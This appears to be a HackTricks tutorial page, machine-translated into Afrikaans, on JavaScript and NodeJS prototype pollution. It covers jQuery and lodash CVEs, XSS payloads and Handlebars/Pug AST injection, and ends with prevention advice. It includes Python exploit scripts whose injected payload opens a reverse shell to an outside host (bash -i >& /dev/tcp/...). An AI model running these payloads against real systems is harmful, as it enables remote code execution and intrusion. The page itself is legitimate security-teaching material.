NodeJS - __proto__ & prototype Pollution
Reading time: 13 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Voorwerpe in JavaScript
Voorwerpe in JavaScript is essensieel versamelings van sleutel-waarde pare, bekend as eienskappe. 'n Voorwerp kan geskep word met Object.create
met null
as 'n argument om 'n leë voorwerp te produseer. Hierdie metode stel die skepping van 'n voorwerp sonder enige geërfde eienskappe in staat.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
'n Leë objek is soortgelyk aan 'n leë woordeboek, voorgestel as {}
.
Funksies en Klasse in JavaScript
In JavaScript is klasse en funksies nou verwant, met funksies wat dikwels as konstruktors vir klasse dien. Ten spyte van JavaScript se gebrek aan inheemse klasondersteuning, kan konstruktors klasgedrag naboots.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypes in JavaScript
JavaScript stel die wysiging, toevoeging of verwydering van prototipe-attribuutte in staat tydens uitvoering. Hierdie buigsaamheid stel die dinamiese uitbreiding van klasfunksies in staat.
Funksies soos toString
en valueOf
kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipe-stelsel demonstreer.
Inheritance
In prototipe-gebaseerde programmering word eienskappe/metodes geërf deur voorwerpe van klasse. Hierdie klasse word geskep deur eienskappe/metodes by 'n instansie van 'n ander klas of by 'n leë voorwerp te voeg.
Daar moet op gelet word dat wanneer 'n eienskap by 'n voorwerp gevoeg word wat as die prototipe vir ander voorwerpe dien (soos myPersonObj
), die geërfde voorwerpe toegang tot hierdie nuwe eienskap verkry. Hierdie eienskap word egter nie outomaties vertoon nie, tensy dit eksplisiet aangeroep word.
__proto__ pollution
Exploring Prototype Pollution in JavaScript
JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die verandering van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
Kom ons gebruik 'n ander voorbeeld om dit te illustreer:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Toegang tot die Object-prototipe is moontlik deur:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Deur eienskappe aan die Object-prototipe toe te voeg, sal elke JavaScript-object hierdie nuwe eienskappe erf:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype besoedeling
Vir 'n scenario waar __proto__
gebruik beperk is, is die aanpassing van 'n funksie se prototipe 'n alternatief:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Dit raak slegs voorwerpe wat van die Vehicle
konstruktors gemaak is, en gee hulle die beep
, hasWheels
, honk
, en isElectric
eienskappe.
Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur prototype besoedeling sluit in:
- Besoedeling van die
Object.prototype
direk:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Besoedeling van die prototipe van 'n konstruksie vir 'n algemeen gebruikte struktuur:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Na hierdie operasies kan elke JavaScript-objek goodbye
en greet
metodes uitvoer.
Besoedeling van ander objek
Van 'n klas na Object.prototype
In 'n scenario waar jy 'n spesifieke objek kan besoedel en jy moet by Object.prototype
kom, kan jy daarna soek met iets soos die volgende kode:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Array elements pollution
Let daarop dat soos jy die eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, kan jy ook waardes van die array besoedel wat deur indekse toeganklik is (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html element besoedeling
Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die innerHTML
attribuut te oorskryf om arbitraire HTML-kode te skryf. Idea en voorbeeld van hierdie skrywe.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Voorbeelde
Basiese Voorbeeld
'n Prototype besoedeling gebeur weens 'n fout in die toepassing wat die oorskrywing van eienskappe op Object.prototype
toelaat. Dit beteken dat aangesien die meeste voorwerpe hul eienskappe van Object.prototype
aflei
Die maklikste voorbeeld is om 'n waarde by 'n onbepaalde attribuut van 'n voorwerp te voeg wat gaan nagegaan word, soos:
if (user.admin) {
As die attribuut admin
is onbepaald is dit moontlik om 'n PP te misbruik en dit op True te stel met iets soos:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, as 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die __proto__
eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
Die toestande waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke studie, sluit in:
- Om 'n rekursiewe samesmelting uit te voer.
- Eienskappe te definieer op grond van 'n pad.
- Voorwerpe te kloon.
Oorskry-funksie
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Besoedeling na RCE
Ander payloads:
Kliënt-kant prototype besoedeling na XSS
Client Side Prototype Pollution
CVE-2019–11358: Prototype besoedeling aanval deur jQuery $ .extend
Vir verdere besonderhede, kyk na hierdie artikel In jQuery kan die $ .extend
funksie lei tot prototype besoedeling as die diep kopie kenmerk verkeerdelik gebruik word. Hierdie funksie word algemeen gebruik om voorwerpe te kloon of eienskappe van 'n standaard voorwerp te meng. egter, wanneer verkeerd geconfigureer, kan eienskappe wat bedoel is vir 'n nuwe voorwerp aan die prototype toegeken word. Byvoorbeeld:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin toegang as eienskappe soos isAdmin
nagegaan word sonder behoorlike bestaan verifikasie.
CVE-2018–3721, CVE-2019–10744: Prototipe besoedeling aanval deur lodash
Vir verdere besonderhede, kyk hierdie artikel
Lodash het soortgelyke prototipe besoedeling kwesbaarhede ondervind (CVE-2018–3721, CVE-2019–10744). Hierdie probleme is in weergawe 4.17.11 aangespreek.
Nog 'n tutoriaal met CVEs
Gereedskap om Prototipe Besoedeling te Detecteer
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te detecteer en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
- server-side-prototype-pollution: Hierdie uitbreiding identifiseer server kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die server side prototype pollution.
AST Prototipe Besoedeling in NodeJS
NodeJS gebruik uitgebreid Abstract Syntax Trees (AST) in JavaScript vir funksies soos sjabloon enjin en TypeScript. Hierdie afdeling verken die kwesbaarhede wat verband hou met prototipe besoedeling in sjabloon enjins, spesifiek Handlebars en Pug.
Handlebars Kwesbaarheid Analise
Die Handlebars sjabloon enjin is kwesbaar vir 'n prototipe besoedeling aanval. Hierdie kwesbaarheid ontstaan uit spesifieke funksies binne die javascript-compiler.js
lêer. Die appendContent
funksie, byvoorbeeld, voeg pendingContent
by as dit teenwoordig is, terwyl die pushSource
funksie pendingContent
na undefined
reset nadat die bron bygevoeg is.
Eksploitasiestap
Die eksploitasiestap benut die AST (Abstract Syntax Tree) wat deur Handlebars geproduseer word, volgens hierdie stappe:
- Manipulasie van die Parser: Aanvanklik, die parser, via die
NumberLiteral
node, afdwing dat waardes numeries is. Prototipe besoedeling kan dit omseil, wat die invoeging van nie-numeriese strings moontlik maak. - Hantering deur die Compiler: Die compiler kan 'n AST Object of 'n string sjabloon verwerk. As
input.type
gelyk is aanProgram
, word die invoer as vooraf-geparseer beskou, wat benut kan word. - Inspuiting van Kode: Deur manipulasie van
Object.prototype
, kan 'n mens arbitrêre kode in die sjabloon funksie inspuit, wat kan lei tot afstandkode-uitvoering.
'n Voorbeeld wat die eksploitering van die Handlebars kwesbaarheid demonstreer:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Hierdie kode demonstreer hoe 'n aanvaller willekeurige kode in 'n Handlebars-sjabloon kan inspuit.
Buitelandse Verwysing: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier beskryf: Issue on GitHub.
Buitelandse Verwysing: Issue related to prototype pollution in the 'flat' library
Voorbeeld van prototipe besoedeling eksploit in Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug Kwetsbaarheid
Pug, 'n ander sjabloon enjin, ondervind 'n soortgelyke risiko van prototipe besoedeling. Gedetailleerde inligting is beskikbaar in die bespreking oor AST Injection in Pug.
Voorbeeld van prototipe besoedeling in Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Voorkomingsmaatreëls
Om die risiko van prototipebesoedeling te verminder, kan die onderstaande strategieë toegepas word:
- Objek Immutabiliteit: Die
Object.prototype
kan onwrikbaar gemaak word deurObject.freeze
toe te pas. - Invoer Validasie: JSON-invoere moet streng gevalideer word teen die aansoek se skema.
- Veilige Samevoegfunksies: Die onveilige gebruik van rekursiewe samevoegfunksies moet vermy word.
- Prototipe-loos Objekte: Objekte sonder prototipe eienskappe kan geskep word met
Object.create(null)
. - Gebruik van Map: In plaas van
Object
, moetMap
gebruik word om sleutel-waarde pare te stoor. - Biblioteek Opdaterings: Sekuriteitsopdaterings kan ingesluit word deur gereeld biblioteke op te dateer.
- Linter en Statiese Analise Gereedskap: Gebruik gereedskap soos ESLint met toepaslike plugins om prototipebesoedeling kwesbaarhede te ontdek en te voorkom.
- Kode Hersienings: Implementeer deeglike kode hersienings om potensiële risiko's rakende prototipebesoedeling te identifiseer en te verhelp.
- Sekuriteitsopleiding: Onderwys ontwikkelaars oor die risiko's van prototipebesoedeling en beste praktyke vir die skryf van veilige kode.
- Gebruik van Biblioteke met Versigtigheid: Wees versigtig wanneer jy derdeparty-biblioteke gebruik. Evalueer hul sekuriteitsposisie en hersien hul kode, veral dié wat objekte manipuleer.
- Runtime Beskerming: Gebruik runtime beskermingsmeganismes soos om sekuriteitsgefokusde npm-pakkette te gebruik wat prototipebesoedeling aanvalle kan ontdek en voorkom.
Verwysings
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.